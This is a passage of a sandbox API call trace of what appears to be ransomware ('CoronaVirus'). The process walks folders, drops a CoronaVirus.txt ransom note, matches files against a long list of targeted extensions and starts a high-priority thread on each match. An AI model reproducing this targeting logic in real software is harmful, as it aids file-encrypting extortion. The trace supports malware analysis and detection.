	[0081.696] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.696] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.696] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.697] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.697] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.697] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.697] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0081.697] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1
	[0081.697] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.697] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.697] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1044") returned 26
	[0081.697] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.698] wcsstr (_Str="C:\\588bce7c90097ed212\\1044", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.698] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.706] _alloca_probe () returned 0x4036d0
	[0081.706] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1044", lpFilePart=0x316583c*="1044") returned 0x1a
	[0081.706] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea0ebea9, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0081.706] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.706] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea0ebea9, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.707] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.707] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0ebea9, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea0ebea9, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.707] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.707] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.707] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.707] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.707] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.707] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.707] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.707] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.707] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.707] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.707] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.707] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.707] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.707] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.707] malloc (_Size=0x1000) returned 0x2f22518
	[0081.707] _swprintf (in: param_1=0x2f22518, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\CoronaVirus.txt") returned 42
	[0081.707] wcsstr (_Str="C:\\588bce7c90097ed212\\1044\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.707] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.707] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.708] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.708] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.708] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.709] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.709] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.710] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.710] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.710] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.710] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.710] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.710] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.710] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.710] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.710] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.710] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.710] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.710] malloc (_Size=0x1000) returned 0x2f23520
	[0081.710] _swprintf (in: param_1=0x2f23520, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0081.710] wcsstr (_Str="C:\\588bce7c90097ed212\\1044\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.710] wcsstr (_Str="C:\\588bce7c90097ed212\\1044\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.710] wcsstr (_Str="C:\\588bce7c90097ed212\\1044\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f23520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0081.710] SetThreadPriority (hThread=0x490, nPriority=15) returned 1
	[0081.758] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.758] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.758] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.758] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.758] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.758] malloc (_Size=0x1000) returned 0x2f1c2c8
	[0081.758] _swprintf (in: param_1=0x2f1c2c8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0081.758] wcsstr (_Str="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.758] wcsstr (_Str="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.758] wcsstr (_Str="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1c2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0081.759] SetThreadPriority (hThread=0x46c, nPriority=15) returned 1
	[0081.761] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.761] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.761] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.761] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.761] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.761] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.761] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.761] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.762] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.762] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.762] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.776] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.776] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.776] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.776] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.782] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.782] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.782] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.782] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.782] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.786] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.788] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.788] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.788] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.788] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.788] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.788] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.788] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.788] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.788] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.789] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.789] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.790] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.790] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
